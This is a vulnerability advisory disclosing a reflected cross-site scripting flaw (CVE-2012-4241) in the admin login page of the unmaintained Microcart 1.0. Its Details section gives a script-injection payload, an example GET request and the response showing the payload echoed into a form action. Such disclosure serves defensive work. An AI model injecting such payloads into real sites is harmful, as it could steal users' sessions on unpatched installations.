Microcart 1.0 Cross Site Scripting

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Summary  
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Microcart 1.0 is subject to a cross-site scripting vulnerability. A generic parameter on the /_admin/index.php page was found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript into the URL via the query string or following a ‘/’ character. This code is then passed into a form action parameter without sanitisation, and executed by the browser. Injecting the following Javascript code into a generic parameter on the /_admin/index.php page will trigger the vulnerability, causing the page to return a Javascript alert box.  
  
CVE number: CVE-2012-4241  
Impact: Medium  
Vendor homepage: http://microcart.sourceforge.net/  
Vendor notified: 23/07/2012  
Vendor resonse: This package is no longer being maintained and has subsequently been removed from sourceforge.net  
Credit: Chris Cooper and Joseph Sheridan of ReactionIS (http://www.reactionis.co.uk/)  
  
This advisory is posted at:  
  
http://www.reactionpenetrationtesting.co.uk/microcart-_admin-xss.html  
  
  
Affected Products  
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Microcart 1.0.  
  
  
Details  
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/_admin/index.php  
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A generic parameter on the /_admin/index.php page was found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript into the URL via the query string or following a ‘/’ character. This code is then passed into a form action parameter without sanitisation, and executed by the browser.  
  
Injecting the following Javascript code into a generic parameter on the /_admin/index.php page will trigger the vulnerability, causing the page to return a Javascript alert box.  
  
"><script>alert('xsstest')</script>  
  
Example Request:  
  
GET /microcart/_admin/index.php/"><script>alert('xsstest')</script> HTTP/1.1  
Host: 192.168.0.6  
Referer: https://192.168.0.6/microcart/_admin/  
  
Example Response:  
  
--- SNIP ---  
<div id="main">  
<h2>Login</h2>  
<p>Please enter your credentials to continue.</p>  
<form action="/microcart/_admin/index.php/"><script>alert('xsstest')</script>" method="post"> <table>  
<tr><th>Username:</th><td><input type="text" name="username" /></td></tr>  
<tr><th>Password:</th><td><input type="password" name="password" /></td></tr>  
<tr><td colspan="2"><input type="submit" name="login" value="Login" /></td></tr>  
</table>  
</form> </div>  
--- SNIP ---  
  
  
  
Impact  
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An attacker might entice users to follow a malicious URL, or visit a malicious page that submits arbitrary code to a Microcart application. If they do so, Javascript code might execute in their browser, potentially stealing session cookies or downloading malware onto their machine.  
  
  
Solution  
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The affected product is not under active development and, at the time of writing, no patch has been released by the vendor.  
  
  
Distribution  
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In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.  
  
* bugtraq () securityfocus com  
* full-disclosure () lists grok org uk  
  
Future updates of this advisory, if any, will be placed on the ReactionIS corporate website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the URL below for any updates:  
  
  
http://www.reactionpenetrationtesting.co.uk/microcart-_admin-xss.html  
  
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